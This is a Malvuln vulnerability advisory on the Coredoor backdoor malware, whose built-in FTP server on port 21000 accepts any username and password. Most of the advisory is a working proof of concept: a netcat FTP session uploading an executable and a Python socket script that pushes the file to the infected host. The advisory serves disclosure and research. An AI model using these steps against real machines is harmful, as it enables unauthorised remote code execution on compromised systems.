Backdoor.Win32.Coredoor.10.a malware suffers from an authentication bypass vulnerability.
055d74c98fd4886a4ab9e17cd07e71ac4ac4ad467f97fde9461333c1c7f00d4bDiscovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/49da40a2ac819103da9dc5ed10d08ddb.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Coredoor.10.a
Vulnerability: Authentication Bypass
Description: The malware runs an FTP server on TCP port 21000. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: Coredoor
Type: PE32
MD5: 49da40a2ac819103da9dc5ed10d08ddb
Vuln ID: MVID-2022-0618
Dropped files: CFS.EXE
Disclosure: 06/29/2022
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21000
220 c400s FTP Server read...
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,194,224).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
426 Connection closed; Cannot create file C:\temp\DOOM.exe.
CWD \Users
250 CWD command successful. "C:/Users/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,195,94).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=50014
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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